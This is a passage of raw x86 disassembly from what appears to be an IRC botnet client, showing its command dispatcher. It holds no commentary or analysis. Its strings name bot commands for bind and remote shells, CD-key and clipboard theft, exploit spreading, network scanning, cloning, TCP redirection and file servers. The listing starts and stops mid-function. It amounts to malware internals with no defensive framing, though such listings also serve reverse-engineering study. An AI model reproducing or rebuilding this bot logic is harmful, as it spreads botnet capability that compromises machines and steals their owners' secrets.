		push	eax
		call	sub_417CB0
		add	esp, 10h


loc_40259F:				; CODE XREF: sub_401C87+8E3j
					; sub_401C87+A31j ...
		xor	esi, esi
		inc	esi
		jmp	loc_405EC4
; ---------------------------------------------------------------------------


loc_4025A7:				; CODE XREF: sub_401C87+6C3j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4026F5
		cmp	[ebp+var_A4], ebx
		jz	loc_4026CE
		push	1Bh
		call	sub_4098A5
		test	eax, eax
		pop	ecx
		jnz	loc_4026BD
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_1168]
		push	offset aS	; "%s"
		push	eax
		call	sub_417CB0
		push	[ebp+esi+var_84]
		call	sub_417960
		mov	[ebp+var_FD0], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1170],	eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1050]
		push	eax
		call	sub_417760
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FC8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_FC4], eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_437DF0
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Bh
		push	eax
		call	sub_409663
		add	esp, 34h
		mov	[ebp+var_FCC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1170]
		push	ebx
		push	eax
		push	offset sub_4104B2
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_FCC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_4026B0
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437E10
		jmp	loc_406DB6
; ---------------------------------------------------------------------------


loc_4026A8:				; CODE XREF: sub_401C87+A2Fj
		push	32h
		call	dword_4E033C	; Sleep


loc_4026B0:				; CODE XREF: sub_401C87+A0Ej
		cmp	[ebp+var_FC0], ebx
		jz	short loc_4026A8
		jmp	loc_40259F
; ---------------------------------------------------------------------------


loc_4026BD:				; CODE XREF: sub_401C87+951j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_437E48
		jmp	loc_406DB6
; ---------------------------------------------------------------------------


loc_4026CE:				; CODE XREF: sub_401C87+941j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_437E78
		jmp	loc_406DB6
; ---------------------------------------------------------------------------


loc_4026DF:				; CODE XREF: sub_401C87+6A8j
		mov	eax, [ebp+arg_20]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_437098
		mov	[edi], ecx
		jnz	loc_40622C


loc_4026F5:				; CODE XREF: sub_401C87+935j
		mov	edi, [edi]
		push	edi
		push	offset aLogin	; "login"
		mov	[ebp+arg_20], edi
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407444
		push	edi
		push	offset asc_437EB2 ; "l"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407444
		cmp	[ebp+var_A4], ebx
		jnz	short loc_402746
		push	[ebp+var_90]
		push	offset a332_0	; "332"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40743C


loc_402746:				; CODE XREF: sub_401C87+AA3j
		cmp	[ebp+arg_28], ebx
		jnz	loc_40743C
		xor	edi, edi
		cmp	dword_437A40, ebx
		jle	loc_4028EA
		mov	[ebp+arg_8], offset dword_448820


loc_402764:				; CODE XREF: sub_401C87+AFCj
		push	[ebp+arg_20]
		push	[ebp+arg_8]
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40278A
		add	[ebp+arg_8], 0B8h
		inc	edi
		cmp	edi, dword_437A40
		jl	short loc_402764
		jmp	loc_4028EA
; ---------------------------------------------------------------------------


loc_40278A:				; CODE XREF: sub_401C87+AECj
		push	offset asc_437EB8 ; " :"
		push	[ebp+arg_0]
		call	sub_417E00
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40622C
		mov	cl, byte_437098
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_437098
		mov	[eax+3], cl
		lea	ecx, dword_448838[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_417760
		lea	eax, dword_448820[edi]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_C], eax
		lea	edi, [ebp+esi+var_54]


loc_4027E5:				; CODE XREF: sub_401C87+BF8j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d-"
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417E00
		add	esp, 14h
		test	eax, eax
		jz	short loc_402847
		cmp	[edi], ebx
		jz	short loc_40284B
		push	[ebp+arg_C]
		call	sub_414EC0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_402876
		push	dword ptr [edi-4]
		push	[ebp+var_C]
		call	sub_417E00
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_402876
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4118FD
		add	esp, 0Ch
		jmp	short loc_402876
; ---------------------------------------------------------------------------


loc_402847:				; CODE XREF: sub_401C87+B86j
		cmp	[edi], ebx
		jnz	short loc_402876


loc_40284B:				; CODE XREF: sub_401C87+B8Aj
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_417760
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4118FD
		add	esp, 18h


loc_402876:				; CODE XREF: sub_401C87+B98j
					; sub_401C87+BA9j ...
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	loc_4027E5
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_8], 10h
		mov	edi, eax


loc_402892:				; CODE XREF: sub_401C87+C57j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417E00
		add	esp, 14h
		test	eax, eax
		jz	short loc_4028D5
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_4028D5
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4118FD
		add	esp, 0Ch


loc_4028D5:				; CODE XREF: sub_401C87+C33j
					; sub_401C87+C39j
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_402892
		mov	[ebp+var_C4], 1


loc_4028EA:				; CODE XREF: sub_401C87+AD0j
					; sub_401C87+AFEj
		mov	eax, [ebp+arg_20]
		mov	al, [eax]
		cmp	al, byte_437098
		jz	short loc_402903
		cmp	[ebp+var_C4], ebx
		jz	loc_402AE0


loc_402903:				; CODE XREF: sub_401C87+C6Ej
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_4118FD
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aUser	; "$user"
		push	edi
		call	sub_4118FD
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4118FD
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_409361
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_4118FD
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer	; "$server"
		push	edi
		call	sub_4118FD
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417E00
		add	esp, 14h
		jmp	loc_402A62
; ---------------------------------------------------------------------------


loc_40297A:				; CODE XREF: sub_401C87+DDDj
		push	offset aChr_0	; "$chr("
		push	[ebp+arg_0]
		call	sub_417E00
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417760
		lea	eax, [ebp+var_A0]
		push	offset asc_437EFE ; ")"
		push	eax
		call	sub_418AC0
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_4029C2
		cmp	[ebp+var_A0], 39h
		jle	short loc_4029D8


loc_4029C2:				; CODE XREF: sub_401C87+D30j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_417760
		add	esp, 0Ch


loc_4029D8:				; CODE XREF: sub_401C87+D39j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417960
		test	eax, eax
		pop	ecx
		jle	short loc_4029FB
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417960
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_402A0C
; ---------------------------------------------------------------------------


loc_4029FB:				; CODE XREF: sub_401C87+D60j
		call	sub_417DC0
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_402A0C:				; CODE XREF: sub_401C87+D72j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_414EC0
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417700
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_417760
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4118FD
		push	edi
		push	[ebp+arg_0]
		call	sub_417E00
		add	esp, 30h


loc_402A62:				; CODE XREF: sub_401C87+CEEj
		test	eax, eax
		jnz	loc_40297A
		mov	edi, 1FFh
		lea	eax, [ebp+var_2020]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_417760
		lea	eax, [ebp+var_2020]
		push	edi
		push	eax
		lea	eax, [ebp+var_2420]
		push	eax
		call	sub_417760
		lea	eax, [ebp+var_2420]
		push	offset asc_437F04 ; "  "
		push	eax
		call	sub_418AC0
		xor	edi, edi
		add	esp, 20h
		mov	[ebp+var_94], eax
		inc	edi


loc_402AB0:				; CODE XREF: sub_401C87+E41j
		push	437F06h
		push	ebx
		call	sub_418AC0
		mov	[ebp+edi*4+var_94], eax
		inc	edi
		pop	ecx
		cmp	edi, 20h
		pop	ecx
		jl	short loc_402AB0
		lea	eax, [ebp+esi+var_94]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_40622C
		add	ecx, 3
		mov	[eax], ecx


loc_402AE0:				; CODE XREF: sub_401C87+C76j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aRndnick_0 ; "rndnick"
		mov	[ebp+arg_20], edi
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073EF
		push	edi
		push	offset aRn	; "rn"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073EF
		push	edi
		push	offset aDie	; "die"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455C
		push	edi
		push	offset aD_1	; "d"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455C
		push	edi
		push	offset aLogout	; "logout"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044BE
		push	edi
		push	offset aLo	; "lo"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044BE
		push	edi
		push	offset aVersion	; "version"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044AF
		push	edi
		push	offset aVer	; "ver"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044AF
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A5
		push	edi
		push	offset aDed	; "ded"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A5
		push	edi
		push	offset aSecure	; "secure"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043A8
		push	edi
		push	offset aSec	; "sec"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043A8
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043A8
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043A8
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042A3
		push	edi
		push	offset aBd	; "bd"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042A3
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C7A
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer_2 ; "Server"
		push	offset dword_437F8C


loc_402C5E:				; CODE XREF: sub_401C87+1017j
					; sub_401C87+103Dj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4098EB
		add	esp, 20h
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_402C7A:				; CODE XREF: sub_401C87+FC2j
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA0
		push	[ebp+esi+var_90]
		push	9
		push	offset aServer_3 ; "Server"
		push	offset dword_437FB4
		jmp	short loc_402C5E
; ---------------------------------------------------------------------------


loc_402CA0:				; CODE XREF: sub_401C87+1002j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CC6
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer_4 ; "Server"
		push	offset dword_437FD8
		jmp	short loc_402C5E
; ---------------------------------------------------------------------------


loc_402CC6:				; CODE XREF: sub_401C87+1028j
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CEF
		push	[ebp+esi+var_90]
		push	25h
		push	offset aLogList	; "Log list"
		push	offset dword_437FFC
		jmp	loc_402C5E
; ---------------------------------------------------------------------------


loc_402CEF:				; CODE XREF: sub_401C87+104Ej
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D18
		push	[ebp+esi+var_90]
		push	18h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset dword_438028
		jmp	loc_402C5E
; ---------------------------------------------------------------------------


loc_402D18:				; CODE XREF: sub_401C87+1077j
		push	edi
		push	offset dword_438038
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D41
		push	[ebp+esi+var_90]
		push	0Dh
		push	offset dword_438044
		push	offset dword_438050
		jmp	loc_402C5E
; ---------------------------------------------------------------------------


loc_402D41:				; CODE XREF: sub_401C87+10A0j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D6A
		push	[ebp+esi+var_90]
		push	5
		push	offset aServer_5 ; "Server"
		push	offset dword_438070
		jmp	loc_402C5E
; ---------------------------------------------------------------------------


loc_402D6A:				; CODE XREF: sub_401C87+10C9j
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40428B
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40428B
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404273
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404273
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DE7
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_4380C0
		jmp	loc_402C5E
; ---------------------------------------------------------------------------


loc_402DE7:				; CODE XREF: sub_401C87+1146j
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E10
		push	[ebp+esi+var_90]
		push	22h
		push	offset aSecure_1 ; "Secure"
		push	offset dword_4380E4
		jmp	loc_402C5E
; ---------------------------------------------------------------------------


loc_402E10:				; CODE XREF: sub_401C87+116Fj
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E39
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset aScan_2	; "Scan"
		push	offset dword_438108
		jmp	loc_402C5E
; ---------------------------------------------------------------------------


loc_402E39:				; CODE XREF: sub_401C87+1198j
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40425A
		push	edi
		push	offset aStats	; "stats"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40425A
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404247
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404247
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404234
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404234
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404221
		push	edi
		push	offset aExplist	; "explist"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404221
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404202
		push	edi
		push	offset aR	; "r"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404202
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E0
		push	edi
		push	offset aDc	; "dc"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404197
		push	edi
		push	offset aQ	; "q"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404197
		push	edi
		push	offset aStatus	; "status"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404159
		push	edi
		push	offset aS_0	; "s"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404159
		push	edi
		push	offset aId	; "id"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404122
		push	edi
		push	offset aI	; "i"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404122
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403005
		call	sub_411DBC
		test	eax, eax
		mov	eax, offset unk_4381B0
		jnz	short loc_402FD7
		mov	eax, offset unk_4381D0


loc_402FD7:				; CODE XREF: sub_401C87+1349j
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 1Ch
		jmp	loc_40259F
; ---------------------------------------------------------------------------


loc_403005:				; CODE XREF: sub_401C87+133Bj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404044
		push	edi
		push	offset aT	; "t"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404044
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404021
		push	edi
		push	offset aAl	; "al"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404021
		push	edi
		push	offset aLog	; "log"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F32
		push	edi
		push	offset aLg	; "lg"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F32
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F19
		push	edi
		push	offset aClg	; "clg"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F19
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EDF
		push	edi
		push	offset aNi	; "ni"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EDF
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EB4
		push	edi
		push	offset aSi	; "si"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EB4
		push	edi
		push	offset aRemove	; "remove"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E7A
		push	edi
		push	offset aRm	; "rm"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E7A
		push	edi
		push	offset aProcs	; "procs"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D58
		push	edi
		push	offset aPs	; "ps"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D58
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D2E
		push	edi
		push	offset aKey	; "key"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D2E
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403CA7
		push	edi
		push	offset aUp	; "up"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403CA7
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C8A
		push	edi
		push	offset aDrv	; "drv"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C8A
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C71
		push	edi
		push	offset aDll	; "dll"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C71
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C32
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C32
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403250
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset aRemoteShell ; "Remote shell"
		push	offset dword_4382BC
		jmp	loc_402C5E
; ---------------------------------------------------------------------------


loc_403250:				; CODE XREF: sub_401C87+15AFj
		push	edi
		push	offset dword_4382C8
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4033D6
		cmp	[ebp+var_8], ebx
		jnz	short loc_403284
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4382CC
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_403284:				; CODE XREF: sub_401C87+15E1j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_8], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_403292
; ---------------------------------------------------------------------------


loc_40328F:				; CODE XREF: sub_401C87+1657j
		mov	eax, [ebp+arg_18]


loc_403292:				; CODE XREF: sub_401C87+1606j
		cmp	[eax], bl
		jz	short loc_403299
		inc	eax
		jmp	short loc_40329E
; ---------------------------------------------------------------------------


loc_403299:				; CODE XREF: sub_401C87+160Dj
		mov	eax, offset dword_4382E0


loc_40329E:				; CODE XREF: sub_401C87+1610j
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+arg_8]
		push	offset dword_4382E8
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 3
		jl	short loc_40328F
		push	offset unk_4382F0
		call	sub_40F927
		pop	ecx


loc_4032EB:				; CODE XREF: sub_401C87+18E2j
					; sub_401C87+28E9j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40622C
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4045A8
		mov	eax, [ebp+var_4]
		mov	esi, offset aXp_0 ; "#xp"
		mov	[ebp+var_12F0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_12EC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1300],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1380]
		push	edi
		push	eax
		mov	[ebp+var_12F8],	1
		call	sub_417E80
		push	esi
		lea	eax, [ebp+var_1400]
		push	edi
		push	eax
		call	sub_417E80
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1410]
		push	10h
		push	eax
		call	sub_417E80
		lea	eax, [ebp+var_1410]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_43831C
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	8
		push	eax
		call	sub_409663
		add	esp, 3Ch
		mov	[ebp+var_12F4],	eax
		lea	eax, [ebp+arg_24]
		push	eax
		lea	eax, [ebp+var_1410]
		push	ebx
		push	eax
		push	offset sub_409DF2
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_12F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jz	loc_404597
		jmp	loc_40458A
; ---------------------------------------------------------------------------


loc_4033D6:				; CODE XREF: sub_401C87+15D8j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BF1
		push	edi
		push	offset aGc	; "gc"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BF1
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BC6
		push	edi
		push	offset aFarp	; "farp"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BC6
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B96
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B96
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B5C
		push	edi
		push	offset aCip	; "cip"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B5C
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4039C2
		push	edi
		push	offset aHttp	; "http"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4039C2
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403883
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403883
		push	edi
		push	offset aCrash	; "crash"
